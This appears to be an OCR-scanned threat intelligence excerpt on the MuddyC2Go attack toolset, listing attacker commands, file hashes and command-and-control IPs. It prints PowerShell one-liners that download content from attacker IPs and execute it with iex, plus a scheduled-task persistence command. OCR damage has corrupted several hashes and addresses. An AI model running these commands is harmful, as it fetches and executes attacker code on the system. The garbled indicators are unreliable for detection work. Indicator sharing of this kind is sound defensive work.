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topmjyfignqptrfnhhfeczjgjicgegydytihegfwldobtvicmthuqurdynlicnjworqepp; $tppmjyfigngptrfn
hhfeczjgjicgegydytihegfwldobtvicmthuqurdynlicnjworqepp="tppmjyfignqptrfnhhfeczjgjicgegyd
ytihegfwldobtvicmthuqurdynlicnjworqepp™;$uri ="<a href="http://95.164.38.99:443/HR5rOv8
enEKonD4a0UdeGXD3xtxWix2Nf">http://95.164.38.99:443/HR5rOv8enEKonD4a0Ude GXD
3xtxWix2Nf</a>";$response = Invoke-WebRequest -Uri $uri -Method GET -ErrorAction Stop

-usebasicparsing;iex $response.Content;
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"CSIDL_SYSTEM\schtasks.exe" /run /tn "Microsoft\Windows\JavaX\Java Autorun”
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tp://45.150.64.39:443/HJ3ytbqpne2tsJTEJi2D8s0hWo172A0aT</a>";$response = Invoke-
WebRequest -Uri $uri -Method GET -ErrorAction Stop -usebasicparsing;iex $response.Content;
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powershell.exe -¢ $uri ={C2_URI}';$response = Invoke-WebRequest -UseBasicParsing -Uri $uri
-Method GET -ErrorAction Stop;Write-Output $response.Content;iex $response.Content;
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H15 10C TR L FPISESE FE 22 » Symantec Endpoint 2 SEHROMEFEL I 2 22 -

BRIER
1a0827082d4b517b643c86ee678caad3t85f1b33ad409a23¢50164c¢3909fdaca - MuddyC2Go DLL launcher

25b985¢e5d7bf15015553e30927691e7673a68ad071693bf6d0284b069¢cabd6a — Benign Java(TM) Platform SE
8 executable used for sideloading MuddyC2Go DLL
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eac8e7989c676b9a894ef366357f1cf8e285abde083tbdf92b3619f707ce292f — Custom keylogger
3916ba913e4d9ad6cfced37b18735bbbScc119¢c97970946al acdeabbab39230 - Venom Proxy

HARRIEIR

146.70.124[.]102 - SimpleHelp C&C server
94.131.109[.]65 - MuddyC2Go C&C server
95.164.38[.199 - MuddyC2Go C&C server
45.67.230[.191 - MuddyC2Go C&C server
45.150.64(.)39 - MuddyC2Go C&C server
95.164.46[.]1199 - MuddyC2Go C&C server
94.131.98[.]14 - MuddyC2Go C&C server
94.131.3[.]160 - GoSOCKS5proxy C&C server
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